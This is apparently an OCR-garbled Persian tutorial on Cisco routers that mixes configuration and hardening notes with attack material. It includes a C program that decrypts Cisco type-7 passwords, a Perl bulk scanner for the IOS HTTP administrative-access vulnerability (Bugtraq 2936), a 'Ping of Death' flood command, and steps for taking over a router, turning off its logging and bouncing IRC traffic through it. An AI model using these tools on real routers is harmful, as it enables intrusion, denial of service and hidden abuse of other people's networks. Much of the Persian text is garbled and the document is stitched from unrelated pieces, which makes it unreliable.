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: tracert [-d] [-h maximum_hops] [-j host—1list] [-w timeout] target_name

Do not resolve addresses to hostnames.
maximum_hops Maximum number of hops to search for target.
j host—1list Loose source route along host-list.
y timeout Wait timeout milliseconds for each reply.
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C:\Documents and Settings\BOrn2h4k>route /?
Manipulates network routing tables.

ROUTE [-f] [-p] [command [destination]
[MASK netmask] [gateway] [METRIC metric] [IF interface]



-f Clears the routing tables of all gateway entries. If this is
used in conjunction with one of the commands, the tables are
cleared prior to running the command.

-p When used with the ADD command, makes a route persistent across
boots of the system. By default, routes are not preserved
when the system is restarted. Ignored for all other commands,
which always affect the appropriate persistent routes. This
option is not supported in Windows 95.

command One of these:

PRINT  Prints a route

ADD Adds aroute

DELETE Deletes a route

CHANGE Modifies an existing route

destination Specifies the host.

MASK Specifies that the next parameter is the 'netmask’ value.

netmask Specifies a subnet mask value for this route entry.
If not specified, it defaults to 255.255.255.255.

gateway Specifies gateway.

interface  the interface number for the specified route.

METRIC specifies the metric, ie. cost for the destination.

All symbolic names used for destination are looked up in the network database
file NETWORKS. The symbolic names for gateway are looked up in the host name
database file HOSTS.

If the command is PRINT or DELETE. Destination or gateway can be a wildcard,
(wildcard is specified as a star **'), or the gateway argument may be omitted.

If Dest contains a * or ?, it is treated as a shell pattern, and only
matching destination routes are printed. The "*' matches any string,
and '?' matches any one char. Examples: 157.*.1, 157.*, 127.*, *224*.
Diagnostic Notes:

Invalid MASK generates an error, that is when (DEST & MASK) != DEST.

Example> route ADD 157.0.0.0 MASK 155.0.0.0 157.55.80.1 IF 1

The route addition failed: The specified mask parameter is invalid.

(Destination & Mask) != Destination.

Examples:
> route PRINT

> route ADD 157.0.0.0 MASK 255.0.0.0 157.55.80.1 METRIC 3 IF 2
destination”™ “mask Ngateway  metric™ N

Interface”™
If IF is not given, it tries to find the best interface for a given
gateway.
> route PRINT
> route PRINT 157* .... Only prints those matching 157*

> route CHANGE 157.0.0.0 MASK 255.0.0.0 157.55.80.5 METRIC 2 IF 2

CHANGE is used to modify gateway and/or metric only.
> route PRINT
> route DELETE 157.0.0.0
> route PRINT

C:\Documents and Settings\BOrn2h4k>
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(NVRAM(Non Volatile RAM
wlgizo od aladl> ¢yl Flash Memory ailod.sg, wswo LS5 Startup configuration Ju6 ;1 s,lap55 Sl adadls ¢l
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(RAM(Random Access Memory
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Interfaces

serial sl guud il Shls yig) uo,9 Ui soka S (5o WeS Ugrw ko b gy (sbli,l J=o @ Interface

LAN @ Jlail sl csuld Gand il uizeod.ng) w550 595 Sla alold ;5 WAN aSiow &b a4 Jlail Sl aS jewuws
(Interface Ethernet, Token Ring,FDDI(Fiber Distributed Data iilo 551> 59>9 &g, 5>

28l (o Slasl ax yig, LSS g, plKis

B s il 9 CPU,memory Jud 5l wileld .auS w > | ig, 138l e Power-on self Test aoli,, .1

>9 ww |,>| Bootstrap aol,, .2

39 ez wowbo Jole piuwuw U 3940 sw 015lg> Bootfield .3

>S9 ww 031> Jisl RAM «, Flash memory s> 39>90 Jole psmw .4

3940 o Jasio RAM @ wowl 000l 0,455 NVRAM > asS Configuration 6 .5

Adlgs 2o Wizard w)gw ay Vg S,wsy ig) 10S 1wl aiuilas sg>9 NVRAM > Configuration J,6 ;31 .6
S wswo aieS dialog Setup 3,509 ol @0.5,,5 JSew adsl Config b 5,8
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JousS wigs b 5l g, 4 Jlail aS 59, wsw L0 solEis i caowl 03 03,91 Hgue aodS US,S ow Sl s

1390 ww 0y Consol s L5 wslie Lol oaub plxil

Router>

9 w58 S,wSy 9 05,5 log On g, @y Wlgi wsw basd User &by wlgic @y .90 wswo axaS User Exec wll> ool @y
Iyl 0L Leae aodS US,S Cow Sl .5)l0 38>9 Heac aodS US,S ow ULl s ul s 9 5,8 dadluw | wleudais
9 3,l9 59 s axsS Privileged Exec ul @y aS (s> @

1S o |y s 505 Wy @ Uloyd bas .5 )S oslawl enable Hgiows 5l LU s ul @ 59,9 Sl

Router#

51 3L user Exec wdls> ay eSSk .o,ls 51,8 Exec Privileged wdl> s 0S| o g, aS cacwl wsumo Ul ol
.8, Configuration «Jl> @y Enable «Jl> 5l 3,U jguc aolS US,S wow Shy JI> L3505 oslaiwl disable jgiws

18> ww pll [ L8 ¢l configure jgsiws

Router#configure
Configuring from terminal, memory, or network [terminal]?terminal

Router(config)#

., 513 Configuration <> s jig) aS aas ww vliu Bgd w,lc

309 Cow Lpsl (sSod 1L aS )15 3929 wyldsio Hguc aolS 5
Console -1

Auxilary -2

VTY -3

Enable -4

Enable Secret -5

Console -1

15,5 adlgs wlhdlxs |, g, Console w,g) se4c aolS ¢l

Router#Configure
Router(config)# line console O

Router(config-line)# login



Router(config-line)# password CISCO
Router(config-line#Ctrl-Z

Auxiliary -2
139 50 LSy p3ge (Bub 5l WVLail Sy sgac anlS (ol

Router#Config t (Configure terminal)
Router(config)# line aux O (line auxiliary 0)
Router(config-line)# login
Router(config-line)# password CISCO
Router(config-line#Ctrl-Z

oM 0,9 5l wlhigiws Sls @ Ulgi w g, ,d) Al o Configure terminal jgiws 03w aoMs> Jgl las j9iw>
(5805 oslaswl pd Lpil oais

VTY -3

o oslaiwl W)y ol 5l Telnet (au,b 5l Ligy @ Jlail pEid 55.20,l35 s>, 59>9 Lpiyes auds duilo Virtual slpig,
e 5l Olgi (s 35S i K2308 b | soue wlalS (580 pudlssy aSs90 3.0l o U5 Lpiser ol lawiisg s
15900 0slaiwl (4 Jugw 9 W Sl &l line vty 0 4 (0

Router#Config t

Router(config)# line vty 0 4
Router(config-line)# login
Router(config-line)# password CISCO
Router(config-line#Ctrl-Z

Enable -4

Enable «Jl> ay 59,9 S|,y Enable Secret jg.c aodS ;| Vgoso 9 594 wsw 0,055 Clear text o e.0 4 j9uc aodS ol
Uiy 239y Shy (sISine aS (sBlgo )3 (. (390 (0 0D 03 S0, Wygo W e ABdS ()39 (o oslaiwl
Caowl iy Gy « 3,5 Adlgsu IS Secret Enable jgic aodS 1S oslaiwl waol YU Shy (5,8 Liwss 10S 51 5ig, 9 by
290 i ,04E AolS il aS

Router#Configure

Router(config)# enable password CISCO
Router(config)#Ctrl-Z

5- Enable Secret

Router#Config t



Router(config)# enable secret CISCO
Router(config)#Ctrl-Z

«,39, config Giwles »

PEid 5y g, config sgui wsw el aS cwl 5,8 Hue aladls ey NVRAM Lgui wsw 0.5 Ul NVRAM s Lig, config
Slasul 5 9 5940w 040U startup-config cewl 0aui 0,455 NVRAM > aS sl config .59, wows 5l wasw Gugols
Jiwloo 3940 s @isS running-config s,ls s9>9 RAM s aS sl config au.59. s Jéiio RAM a4 g, wiel VU
28,3 51,8 enable wll> 55 LU 9 Coww iy ULl exec user wl> s Lig, config wlgizo

1ol o L wiso A g, config yawles au bgs e wlhgiows

(start sh aixo ,9b a4y L)Show startup-config

(sh run ,aizo ,8b @ L)Show running-config

<9, config o,u=>5> »

running-config ws,S 0,5 Sk 3940 sw @isS ;0 startup-config Ol @ aS s¢.i (w0 0,033 NVRAM 5 49, config

15905 oslawl Wb o5 H9ws 5l startup-config >
(start copy run a.o\M=) Copy running-configuration startup-configuration

startup-) ol L5598 i J28 Ulad ENTER @S> U b aS auS Lasiw | dabo LB b jeiws ol ShLal 5l aw

A adles wlzil (config

# copy run start
Destination file [startup-config]: (here you would press Return)

Building Configuration...

9 wswo 05 laiwl write mem giws Sl giws ol Sl 4 wouad Saig, 5

oS 0,5 ftp culw So,y 5 LB by 5y 1) Lig, config iy whgiws b pewlgi wsw ousisl asuwls tftp server [3|

#COPY RUN TFTP

Remote host[]? 10.1.1.1 (this is IP address of the TFTP server)
Name of configuration file to write [router-confg] Return

(the above writes the configuration to the file router-confg)
Write file ARNOLD-confg on host 10.1.1.1? Return

[confirm] Return

Building configuration...

g, config csuly;b»
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Router>en

Router#copy start run
Router#configure t
Router(config)#enable secret mypass
Router(config)#config-register 0x2102
Router(config)#exit

59y 0,Les Sslal ol 55 U pwils,S s 5U adsl wdls ay LIS slpssl s | config register sgi wswo 0aus aS aigSilod
130l adlgs w55 aul 1S >l |, show version jgiws OV ,3l.59.% Jéiie running-config a, startup-config

Router#tsh version

Cisco Internetwork Operating System Software

32K bytes of non-volatile configuration memory.
8192K bytes of processor board System flash (Read/Write)
Configuration register is 0x2142 (will be 0x2102 at next reload)
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(boot system command Boot file is cisco2-2500 (or 03-00

Ignore configuration disabled 06

disabled OEM 07

Break disabled 08

IP broadcasts with ones 10

speed is 9600 baud console 11-12

Boot default ROM software if network boot fails 13
IP broadcasts do not have network numbers 14

disabled Diagnostic mode 15

(0010.0001.0000.0010) il  swo 0x2102 Ol ,laie Ssle wll> s
1 a cw oul Us)S cow baw adlgxs el running-config au startup-config Jlasl asiol 1 aSii 60 5> i
(x2142(0010.0001.0100.00100 >9.i sw register configuration ,laso
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Router Security ( - ~ A Corresponding Access
Layers s ~
Physical Integrity ® Physical access
of the Router # Electrical access
Core Static Configuration * Administrative access
\_ of the Router Y * Software updates

Dvnamic Configuration

\_ and Status of the Router )

* Routing protocols

Access to the network that
\ Network Traffic through the Router ) the router serves.
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enable secret Provide a minimum of protection for configured
passwords.
service password—encryption

Prevent abuse of the "small services" for denial
of service or other

no service tcp—small—servers
no service udp—small—servers

no service finger
no cdp running
no cdp enable
no ntp enable

no ip directed—broadcast.
transport input

ip access—class

service tcp—keepalives—in

logging buffered buffer—size

ip access—group list in

ip verify unicast rpf

no ip source—route

access—list number action

attacks.

Avoid releasing user information to possible
attackers.

Avoid releasing information about the router to
directly—connected

devices.

Prevent attacks against the NTP service.

Prevent attackers from using the router as a
"smurf" amplifier

Control which protocols can be used by remote
users to connect

interactively to the router's VTYs or to access
its TTY ports.

Control which IP addresses can connect to
TTYs or VTYs. Reserve

one VTY for access from an administrative
workstation.

Detect and delete "dead" interactive sessions,
preventing them from
tying up VTYs.

Save logging information in a local RAM buffer
on the router. With

newer software, the buffer size may be
followed with an urgency

threshold.

Discard "spoofed" IP packets. Discard incoming
ICMP redirects.

Discard "spoofed" IP packets in symmetric
routing environments

with CEF only.

Prevent IP source routing options from being
used to spoof traffic.
Enable logging of packets that match specific



criteria log
access—list number action criteria
log—input

scheduler—=interval
scheduler allocate

ip route 0.0.0.0 0.0.0.0 null 0 255
distribute—list list in
snmp—server community
something —inobvious ro list

snmp—=server community
something —inobvious rw list

snmp—server party... authentication

md>5 secret ...

access list entries. Use if it's available in your
software version.

Prevent fast floods from shutting down
important processing.

Rapidly discard packets with invalid destination
addresses.

Filter routing information to prevent accepting
invalid routes.

Enable SNMP version 1, configure
authentication, and restrict

access to certain IP addresses. Use SNMP
version 1 only if version

2 is unavailable, and watch for sniffers. Enable
SNMP only if it's

needed in your network, and don't configure
read—write access

unless you need it.

Configure MD5—based SNMP version 2
authentication. Enable
SNMP only if it's needed in your network.
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ping -1 56550 cisco.router.ip -t",
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#i ncl ude <stdio. h>

#i ncl ude <ctype. h>

char xlat[] = {

0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, O0x6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
Ox6b, Ox6c, 0x64, Ox4a, 0x4b, 0x44

}

char pw_strl[] =
char pw.str2[] =
char *pnane;
cdecrypt (enc_pw, dec_pw)
char *enc_pw,

char *dec_pw,

"password 7 ";
"enabl e-password 7 ";

{

unsigned int seed, i, val = 0;

if(strlen(enc_pw) & 1)

return(-1);

seed = (enc_pwf0] - '0") * 10 + enc_pw 1] - '0';

if (seed > 15 || lisdigit(enc_pwfO0]) || !'isdigit(enc_pw1]))
return(-1);

for (i =2 ; i <=strlen(enc_pw); i++) {

if(i '=2 && (i &1)) {
dec_pwi / 2 - 2] = val ~ xlat[seed++];
val = 0;

}

val *= 16;

if(isdigit(enc_pw[i] = toupper(enc_pwi]))) {
val += enc_pwi] - '0";

conti nue;

}

if(enc_pw[i] >="A & enc_pwi] <="F) {
val += enc_pwi] - 'A + 10;

conti nue;

}

if(strlen(enc_pw) !=1)
return(-1);

}

dec_pw ++i [/ 2] = 0;
return(0);

usage()

fprintf(stdout, "Usage: % -p <encrypted password>\n", pnane);
fprintf(stdout, " % <router config file> <output file>\n",
pnane) ;

return(0);



mai n(argc, argv)

int argc;

char **argv;

{

FILE *in = stdin, *out = stdout;
char |ine[257];

char passwd[ 65];
unsigned int i, pw_pos;
pnane = argv[O0];
if(argc > 1)

{

if(argc > 3) {
usage();
exit(1);

}
if(argv[1][0] =="-")

switch(argv[1][1]) {

case 'h':

usage();

br eak;

case 'p':

i f(cdecrypt(argv[2], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);

}

fprintf(stdout, "password: %\n", passwd);

br eak;

defaul t:

fprintf(stderr, "%: unknow option.", pnane);

return(0);

if((in = fopen(argv[1], "rt")) == NULL)
exit(1);

if(argc > 2)

if((out = fopen(argv[2], "wt")) == NULL)
exit(1);

}

while(1l) {

for(i =0; i < 256; i++) {
if((line[i] = fgetc(in)) == EOF) {
if(i)

br eak;

fclose(in);

fcl ose(out);

return(0);

}
if(line[i] == "\r")
i__.

if(line[i] =="\n")
br eak;

}

pw_pos = 0;
line[i] = 0;

if(!strncnp(line, pwstrl, strlen(pw.strl)))
pw_pos = strlen(pw_strl);

if(!strncnp(line, pw.str2, strlien(pw._str2)))
pw_pos = strlen(pw_str2);

if(!pw_pos) {

fprintf(stdout, "%\n", line);

conti nue;

}

i f(cdecrypt (& ine[pw_ pos], passwd)) {
fprintf(stderr, "Error.\n");

exit(1);

el se {

if(pw_pos == strlen(pw_stril))
fprintf(out, "9%", pw.strl);
el se



fprintf(out, "9%", pw_str2);
fprintf(out, "9%\n", passwd);
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Router# conf t

Router"config"# no enable secret
Router"config"# line vty 04
Router"config-vty"# password newpassword
Then just hit ctrl z

And ctrl z again

type rel and do what it says.

T sl W0 il 9, 39 Juil piSie slpiciy
Router# conf t

Router"config"# no enable secret
Router"config"# enable password newpass
Then just hit ctrl z

And ctrl z again

type rel and do what it says.

1S SU s)9=il g, wgilal, 5, V>

Router# conf t

Router"config"# no ip finger
Router"config"# no logging console
Router"config"# no logging buffer
Router"config"# no logging trap
Router"config"# no logging monitor
Router"config"# no loggin on
Router"config"# no service finger

S Joe sebul g, 5> L3Sy Jlw,l es=s 5l i oleMbl iy
Router# ping

BLANK LINE

127.0.0.1

200000

18024

0

BLANK LINE

BLANK LINE

P U3 pol (88, il wlgso (o Ll Sl g

/server cisco_ip 23

/quote pass remember.. you changed the pass.. if you left it default it's cisco.
/quote Ircserver 6667

/quote user hrrm

/quote nick your_nick

Pt A S| pud i oD 9, i owld Wlgse Lg>

Alright now my friend you can change the host name of the cisco
Router#conf t

Router(config)hostname decipher

Router(config)™Z

decipher<
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Mew  Open  Print Import  Export | Dictionary Settings |  Start Stop Help %’ Network Management Tools >

IP Address Complete | ‘wiord Count / Results | DS [ Sy Ci Responze Time
10.252.1.120 ] 2300 words | 109 millizeconds
10.2521.127 [l Complete ch.tlab.org Chinese base NT @HSDH 246 milizeconds
10.252.1.130 [l Mo response frogs.tlab.org Fequest Timed Out
1025237 [l Complete mshs.tab.og MSMS public A0 miliseconds
10.252 367 [ 4523 words | mscp.tab.org MSCP B3 miliseconds
102523134 [l Complete cid.tab.ong CiD public 57 miliseconds
10.252.3.243 [ 4562 words | rigsw. Hab.ong MS5W 3E milizeconds
10,252 5.43 [l Complete orc.tlab.org ORC public 35 miliseconds
102525112 [l Complete german-2000.Hab.org German 2000 Test warped A0 miliseconds
102525118 [l Complete mir.tab.ong MIR public 40 miliseconds
1025251241 vl Complete german.tab.org German bage NT warped 38 miliseconds
102525122 [l Complete trinet-ques: tlab.org TRIMET Customer tinet2 81 miliseconds
102525129 [l Complete arch.tliab.org ARCH 2000 public 97 miliseconds
102525132 [l Complete socwork.tlab.org SO0CWORK private 53 miliseconds
102525142 [ 4562 words | cf.tlab.org CFHNT 39 miliseconds
10252 5144 [l Complete french-35.tab.org French 95 Test warped 40 miliseconds
102525171 [l Complete englizh-2000 Hzb.org German 2000 Test warped 52 miliseconds
102525173 T2 ete : rugsian.tiab.org Russian base NT warped 42 miliseconds
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1060197, 217 [l Complete Serverl.TestLah Solatwinds....  NT Server 1 awtlab 362 milizeconds
1060197 218 [l Complete Server2 TestLah Solatwinds....  NT Server 2 awtlab 361 milizeconds
1060197 220 [ 1350 words | Development TestLab Solafw/i.. NT Development 1 milizeconds
10.60.197.245 [l Mo response D&VE'S Fequest Timed Out
10.60.197.250 [l Mo response Fequest Timed Out
10.60.197 251 [ 1350 words | SNMP-Waip. TestLab. Solafwi..  SHNMP Warp bogus: 1 milizeconds
10.60.197.252 [l Complete nt3.tab.org MT 3 swtlab Request Timed Out
10.60.197.253 [l Complete ntd.tlab.org MT 4 awtlab 1 milizeconds
10.60.197.254 [l Complete french-2000.Hab.org French 2000 Test warped 3 milizeconds
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Ping of Death

C:\>ping -n 4294967295 -1 65500 -i 254 127.0.0.1

:Pinging 127.0.0.1 with 65500 bytes of data

Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:
Reply from 127.0.0.1:

bytes=65500 time=4ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=4ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=4ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=5ms TTL=128
bytes=65500 time=4ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=4ms TTL=128
bytes=65500 time=4ms TTL=128
bytes=65500 time=4ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=4ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=5ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=5ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=4ms TTL=128
bytes=65500 time=3ms TTL=128
bytes=65500 time=3ms TTL=128

Ping statistics for 127.0.0.1:

Packets: Sent = 54,

Received = 54, Lost = 0 (0%b loss,(

Approximate round trip times in milli-seconds:
Minimum = 3ms, Maximum = 5ms, Average = 3ms
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File  Help
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4 115 5.0 Remote buffer overflow vulnerability

4 Remote [15 buffer overflow vulnerability
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#!'/ usr/ bi n/ perl

Bul k Scanner for the Cisco | 0S HTTP Configuration Arbitrary
Adnmi ni strative Access Vulnerability

Found: 06-27-01 - Bugtraq ID: 2936

Witten by hypoclear on 07-03-01

usage: ./IGCScan.pl <start ip> <end ip>
Note: start and end ip nust be a Class B or C network
exanpl e: ./10Scan 192.168.0.0 192. 168. 255. 255

hypocl ear - hypocl ear @ungl e.net - http://hypocl ear. cjb. net
This and all of nmy programs fall under ny disclainmer, which
can be found at: http://hypoclear.cjb. net/hypodisclai mtxt

HHHFHFHEFHEHEF RS

use | O : Socket;

die "\nusage: $0 <start ip> <end ip>

Note: start and end ip nust be a Class B or C network

ex: ./ 1 QScan 192.168.0.0 192. 168. 255. 255\ n\ n" unl ess @RGV > 0;
$num = 16; $ipcount = 0; $vuln = 0;

if (defined $ARGV[1])
{ $currentl P = $ARGV[0]; $endl P = $ARGV[ 1];
whi | e(1)


mailto:hypoclear@jungle.net
http://hypoclear.cjb.net
http://hypoclear.cjb.net/hypodisclaim.txt

{ @URIP =split(/\./,$currentlP);

if (($CURIP[2] > 255) && ($CURIP[3] > 255))
{ scanEnd();
}

print "Scanning $currentlP\n";

scan($current!P);

if ($currentlP eq $endl P)
{ scanEnd();

}
if ($OURIP[3] < 255)
{ $CURI P[ 3] ++;
}
el se
{ $CURI P[ 2] ++;
$CURI P[ 3] =0;
$currentIP = "";
foreach $item (@UR P)
{ $currentlP .= "Sitem";

}
$currentl P =~ s/\.$//;
$i pcount ++;

}
}
sub scan
{ while ($num <100)
{ $IP=8%_0];
sender ("CGET /1 evel / $nun exec/ - HTTP/1.0\n\n");
if ($webRecv =~ /200 ok/)
{ $vul n++;
open(QUT,">>ios.out") || die "Can't wite to file";
print OUT "$IP is Vul nerable\n";
cl ose(QUT);
$num = 101;
$numt+;
}
$num = 16;
}
sub sender
{ $sendsock = 10O : Socket::INET -> new(Proto = "tcp',

Peer Addr => $I P,
PeerPort => 80,
Type => SOCK_STREAM
Ti meout = 1);
unl ess($sendsock) {die "Can't connect to $ARGV 0] "}
$sendsock- >aut of | ush(1);

$sendsock -> send($_[0]);
$webRecv = ""; whil e(<$sendsock>){$webRecv .= $_} $webRecv =~ s/\n//g;
cl ose $sendsock;

}

sub scanEnd
{ print "\nScanned $i pcount ip addresses, $vuln addresses found vul nerable.\n";
if ($vuln > 0) {print "Check ios.out for vul nerable addresses.";}
die "\n";

}

3l S Ulgie @ aslh piS (swi slpiig [ W g, 10S Sl Sy cuwl Sl oslaiwl a0 (8IS job @
51 eslaiwl Ao, dw; s Az o, (ul A,z (aubo &3lge ST s 65,5 Sl o, Lal Ul L wils s e

bilyo S Sa g, S 5> 3990 Lugy G SIS 9 B 2She SNMP JSig
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patloigo 0,Lil oS Sldyie, ol aine; 55> SIS o (il WIS Syw S S Gl @ Gy ol 5>
ol o3V L sl wdg Lol us,S (sdoe Sl g 03bw by (siwiol Slas usl, swolod ilod WSG ol
2sS 0gl> Cuodl v esiiol WG L slpiuing ol 5l eSS L el 5y uls.awsS Wl plxil By aS
VU s gS> osbw Joo Sy plil aS i audlgs asgio dgui aisS JolS job @y olaS s aswds S31 (g
SSosls ULS5g85 aS il awls asgi aSs ul U sgs Adlg> Jigo LBl aSiuiw Sl g, Lol adaiw WS,
oy 9 isS | 359>90 S wes w4 0K s aS diiwd suwsia Slpsilusl aSly s
wes bla sl 593 S S, Jpw gudlS b aS vl e plxil aslgi (s aS )18 s uloswo
Ul Coow A 3lgi (w0 sJ9 s, Judlgs JolS Csuoul 3o, 100 @4 o8 gud s suslS Sew 2> U |,
Anlos wS,>

wwlod Shy aS auwlue Sl oaxio VLI (sdo ol UlojLw 1 oauw @Sl o5 vl Sl slpiiwy
Caowl 030w 03biw,9 b aSiui (vl Ulhuae

10S Security
ol S Jsig)

Remote Authentication Dial In User Service (RADIUS)
AAA ( Authentication, Authorization and Accounting ) vJlw

5 aS laS (ubwlos shy Ll 5l aS seir (s aisS (siwiol SW,1381 0,0 9 W il 5l aiws a4y AAA
W Ll ol 5l plaS 58 5l Guized dguino o3laiwl diwd Hig, J=Is 55 aS (siloy U 2l 03500 pU s g,
Slas,Sloc )80 wleMbl aupi g il 9 5,8 L8 Slpsdled cadliw 9 owyiws aw JyuS Sl
g0 VU (siiol gobw @ slxe e aS (ilulS L UbS398 caws L3S oligS ixized 5 LIS LB

Sguino o3laiwl

Authentication

S b9 ausw So b Olse serw diled aSi s3> Sy 4 ewpiws Shy 8 S YW exiw Ll
29

Authorization

Ol Sl Jlg) 115 9 s 395 9 S,,8 S 09,5, UL, @ sowiws whlasl usls

Accounting

0w Juog piww 4 58 plaS aSiyl aslod wowl osls pll | ol Joe (oS ax aSiul Gsaw
seb @ 35,3 v oslaiwl pwolxie S wulled g Jlocl S8 5, Sy b il Shw ol 5l i cowl
s S s gl Vlgi o seb 51850 bl (veiiuw gilio swolos @ 1P pusgw S5 5l ST Jlio
PIX waw Jled L awluos yig, guwsSly aoV L wise 4 wllao ¢l 35 aidl 500 5 ,S ao>
L slee sue Jo> Sy g, IDS aS ()90 55 3940 (w0 sowy Sy JolS w90 @ sow3b ol Firewall

Lloiao w393 WL, 33 5 9 03900 &had |, bla,l Ul yig, (sd>1s Jlg,uld ads Laxseiv

g,y Su Setup 5> sl wowl Authentication @ bgsye Juluw 3940 (s o Cuzs @ bogsyo aS azl
-XJ)-SJ )JOJ P |) M) Ol cowlio zeiw )L+1£|



20U oo Jled abogs o Olo,d laawgiAAA
AAA new-model
Aol 0and i jeas o) WladS 9 S8 S LU e b iow Lliael (dxo gl
590 wgle) (il eae 50, WlolS o W oU Ll )> (Js.ol aclgd (swolod aS wowl S @y o3
Jlod

username test password ciscol1234

Jwlos Sxu,Sw | 95 Ol TACACS 9 RADIUA siilosd sl dmlos b 5 | AAA Giusy dw )l 1ad 3
5l as,be se=>g0 (siw Hlicl Sa g, (swolod

enable, krb5, krb5-telnet, line, local, local-case, none, group radius, group tacacs+,
group {group-name}, auth-guest, guest, if-needed

ol 5l a3, Ul s pwiows 1B D Guugaw aed Sy, 4 aS swow Llucl S g,
3ol 505 wpge U B Gangrw

Login — Login authentication to the router, itself
NASI — NetWare Asynchronous Serial Interface clients
Enable — To access the privilege level of the router
ARAP — AppleTalk Remote Access Protocol
PPP — Point to Point Protocol
PPP Luwgyw 55 @ 9 3l (s gwysiows 5 10gin (sswow Hlicl Uloj > basd krb5-telnet Jlo sl
wlos L=l 505 Sla Oleyd @ |, iwiol S Gungrw islie @ b JShgsy ool Awilgine Lo
aaa authentication <service> default <methodl1l> [method?2 ... ]
dulos Jloel wygaiul a4 |, RADIUS slogin sswow locl Saiu,Sw Jbo sy
aaa authentication login default group radius
25 Vloyd w90 4 aglos @i il Sl RADIUS 95w il OF 5l a2y patpw
radius-server host 1.1.1.1 auth-port 1645 acct-port 1646

wlos Jlocl [ auilo gusiaws 5 il 51 S5 aSil oKid @y |, sl a8z Slpig,y Awlgi (s Lo @il
Caowl 030 03,9] (=0 WHg0 U Guusaw 9 RADIUS 5l oslasowl sy (sJbio il s



aaa authentication login default group radius local

Wlio ool 55 5900 (0 @Bl 4999 W 105 55 1 Guugrw il IS 51 L gislul ol s ouolys wgSul Sl
al>s0 S Shls (ol Guvgrw S| gy S @ 3985 5l a2 Jlio jeb 4 cw dhio lpil Ao 1S5 0a
Usxod (siwolrd 51 ailes (s auscils 5L pangrw Su slsl o, 4 JS 5o Lo e siw Slael ol

Jwlos oslaiwl enable

s S oslawl 10S ,191 py Sl 393 Sla aSui 5 |, bl aswgi Sld asews g3l Lines
2l 03905 89, |, slid Sld SU b asuwns 3l Jgoso

Obl (I3l aSiw 55 A Guwgrw S Sylul ol L L g )18 e 33> agld 8 wanw adlol 5l sy
> pll 595 o, 5l Whgo AU pd 9 o Wigo W pd | ol

S Gowgrw A il (WIS Vg S 2sS Jled sue 1) Lig) Sey 2 Sygre mE S Luugrw swled
UriasS Sl By od g A8l o 9 B Lwgrw od L8 il b coww od 3985 LB coww Jled
il OllSel o & Guugrw g, Sy 2 Show proc Hgiws b cobls sudles gupiws > | oSy
Jled e ool Uloyd ool Lle> > 2l sani Gugols Wb aS 1 jg,w 5l vy 2sS oadlie |, g,

CL1A>_J'| .)Jb)g

Small services (echo, discard, chargen, etc.)
- no service tcp-small-servers
- no service udp-small-servers

BOOTP - no ip bootp server

Finger - no service finger
HTTP - no ip http server
SNMP - N0 snmp-server

Aalos Jled 5uc 1) o) So) » S)Hgr0 e SB Yungw

£ S b g dulos souc yig) 5l aS uas Gw o3l Ll Sl S Sl a4 B g rw il Sl e
o w5l vass a6S oslaiiwl Hes ol 5l S Syl aSll L L sewsss | ol suleMbl wSy
2l o s wpgo A g JIed sl il aS i ol 5l ol

CDP - no cdp run
Remote config. - no service config
Source routing - no ip source-route

wbuly 8 Sy, 1 Gaebd ol Bigin L3 ol Ailes o Lol el vas L Sla g, S8 Sla b,

Unused interfaces - shutdown
No Smurf attacks - no ip directed-broadcast



Mask replies - no ip mask-reply
Ad-hoc routing - no ip proxy-arp

2islgi s yig) Silxe Jliuoyi olr0d @ puses 03,5 0,Lil £95 95 (I L WS aS Aux Llow g JewusS Hlaw
25 S Uleyd Wygo A Silxe Jlineyi 9 JgutiS diguin Sy ol Shls (sdas > @ sai,S b
o Jled pue (il L Aux (o g ol ilgine

Console Line - line con 0 exec-timeout 5 0 login
Auxiliary Line - line aux 0 no exec exec-timeout 0 10 transport input none
VTY lines - line vty 0 4 exec-timeout 5 O login transport input telnet ssh

Secret Vg Gusi 9SS ol Wigo U Liued Jio (il dmloige oslaiwl aS (sl )99
59 S 50 JousS Llaw el Sy Guized dwlos Jled |, cowl MD5 puu,9301 U aS |,Password
wbla> S aglos JIed 1) 50, aodS 50 Aux Sl (iized 9 Sl Jluoyi Sy awlgive dules s

